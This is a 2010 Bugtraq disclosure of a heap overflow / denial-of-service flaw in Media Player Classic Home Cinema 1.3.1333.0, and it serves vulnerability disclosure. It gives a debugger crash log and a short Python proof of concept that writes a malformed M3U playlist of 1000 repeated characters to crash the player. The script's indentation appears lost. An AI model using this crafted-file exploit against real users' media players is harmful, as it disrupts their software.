bugtraq - Heap Overflow/DoS Vulnerability in Media Player Classic

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Message-Id: <201007261828.o6QISShb013840@www3.securityfocus.com>
Date: Mon, 26 Jul 2010 12:28:28 -0600
From: praveen_recker@...y.com
To: bugtraq@...urityfocus.com
Subject: Heap Overflow/DoS Vulnerability in Media Player Classic

Tested on:
Media Player Classic - Home Cinema
Build number: 1.3.1333.0
MPC Compiler: VS 2008
FFmpeg Compiler: GCC 4.4.1


###################CRASH REPORT START##################
ModLoad: 77be0000 77bf5000   C:\WINDOWS\system32\MSACM32.dll
ModLoad: 77bd0000 77bd7000   C:\WINDOWS\system32\midimap.dll
ModLoad: 73ee0000 73ee4000   C:\WINDOWS\system32\KsUser.dll
ModLoad: 10000000 100fb000   C:\Program Files\K-Lite Codec Pack\Filters\vsfilter.dll
ModLoad: 590b0000 590ce000   C:\WINDOWS\system32\wmpasf.dll
ModLoad: 71b20000 71b32000   C:\WINDOWS\system32\MPR.dll
ModLoad: 6bf50000 6bfcd000   C:\WINDOWS\system32\dxmasf.dll
ModLoad: 02530000 0257f000   C:\WINDOWS\system32\DRMClien.DLL
(6dc.cec): C++ EH exception - code e06d7363 (!!! second chance !!!)      ............................... ISSUE
eax=01c2f2e4 ebx=80040218 ecx=00000000 edx=00200003 esi=01c2f36c edi=003fd08c
eip=7c812aeb esp=01c2f2e0 ebp=01c2f334 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
kernel32!RaiseException+0x52:
7c812aeb 5e              pop     esi
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:004> g
WARNING: Continuing a non-continuable exception
(6dc.cec): Break instruction exception - code 80000003 (first chance)
eax=01c2f2e4 ebx=80040218 ecx=00000000 edx=00200003 esi=00000000 edi=003fd08c
eip=0071d14b esp=01c2f37c ebp=01c2f39c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mpc_hc+0x31d14b:
0071d14b cc              int     3

###################CRASH REPORT END##################

For images related to the vulnerability refer my blog
http://darshanams.blogspot.com


##########PoC Start################
print("\n*****Program need to be run on Python 3.1*****")
print ("""Media Player Classic - Home Cinema 1.3.1333.0 M3U File DoS (0-Day)\r\n\r\nTested on:\nWindows XP SP3\n
Media Player Classic - Home Cinema\n\t\t Build number: 1.3.1333.0\n\t\t
MPC Compiler: VS 2008\n\t\t FFmpeg Compiler: GCC 4.4.1\n""")

head = "EXTM3U"
buf = "D" * 1000

mal_buf = head + buf
#print ("mal_buf:",mal_buf)
try:
mpc_mal = open("mpc_m3u_crash.m3u",'w')
mpc_mal.write (mal_buf)
mpc_mal.close()
print ("File Created Successfully: mpc_m3u_crash.m3u\n")
except:
print ("Cannnot Create M3U File\n")

print ("[+] Found and Coded by: Praveen Darshanam\r\n")
##########PoC End################